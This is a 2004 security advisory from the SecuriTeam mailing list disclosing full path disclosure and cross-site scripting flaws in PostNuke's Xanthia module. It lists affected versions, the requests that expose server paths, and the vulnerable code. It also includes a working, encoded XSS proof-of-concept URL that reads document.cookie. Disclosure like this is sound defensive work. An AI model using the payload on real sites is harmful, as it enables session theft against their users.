[UNIX] PostNuke Multiple Vulnerabilities In Xanthia Module
From: SecuriTeam (support_at_securiteam.com)
Date: 07/27/04
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To: list@securiteam.com Date: 27 Jul 2004 19:58:39 +0200
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PostNuke Multiple Vulnerabilities In Xanthia Module
------------------------------------------------------------------------
SUMMARY
" <http://www.postnuke.com/> PostNuke is an open source, open development
content management system (CMS). PostNuke started as a fork from PHPNuke (
<http://www.phpnuke.org> http://www.phpnuke.org) and provides many
enhancements and improvements over the PHP-Nuke system. PostNuke is still
undergoing development but a large number of core functions are now
stabilizing and a complete API for third-party developers is now in
place."
PostNuke's Xanthia module allows the full path to the system to be
disclosed and cross site scripting attacks to be conducted.
DETAILS
Vulnerable Systems:
* PostNuke version 0.75-RC3 with Xanthia module
* PostNuke version 0.726-3 with Xanthia module
Full Path Disclosure
This vulnerability would allow a remote user to determine the full path to
the web root directory and other potentially sensitive information.
Issuing the following request to the server will yield an error message by
PHP that will disclosure the information:
http://localhost/html/modules/Xanthia/pnadmin.php
Fatal error: Call to undefined function: pnmodgetvar() in
c:\appserv\www\html\modules\xanthia\pnadmin.php on line 53
http://localhost/html/modules/Xanthia/pnuserapi.php
Fatal error: Call to undefined function: pnmodgetvar() in
c:\appserv\www\html\modules\xanthia\pnuserapi.php on line 49
Cross Site Scripting
Cross site scripting is possible in PostNuke's Xanthia module. It can be
seen in the showcontent() function, line 896:
echo "<p><span
class=\"pn-title\"><strong><em>".pnVarPrepForDisplay($title)."
</em></strong></span><br />";
echo "<p align=\"justify\"><span class=\"pn-normal\">";
if ($cover != "")
A proof of concept example for the XSS issue might be:
http://localhost/html/modules.php?op=modload&name=Reviews&file=index&req=showcontent&id=1&title=%253cscr!pt>alert%2528document.cookie);%253c/scr!pt>
The proof of concept result will cause the following to be displayed
(provided as a screenshot):
<http://www.swp-zone.org/archivos/post-nuke.gif>
http://www.swp-zone.org/archivos/post-nuke.gif
Vendor Status:
Vendors were contacted many weeks ago and plan to release a fixed version
soon. Check the PostNuke website for updates and official release details.
ADDITIONAL INFORMATION
The information has been provided by <mailto:darkbicho@fastmail.fm>
DarkBicho.
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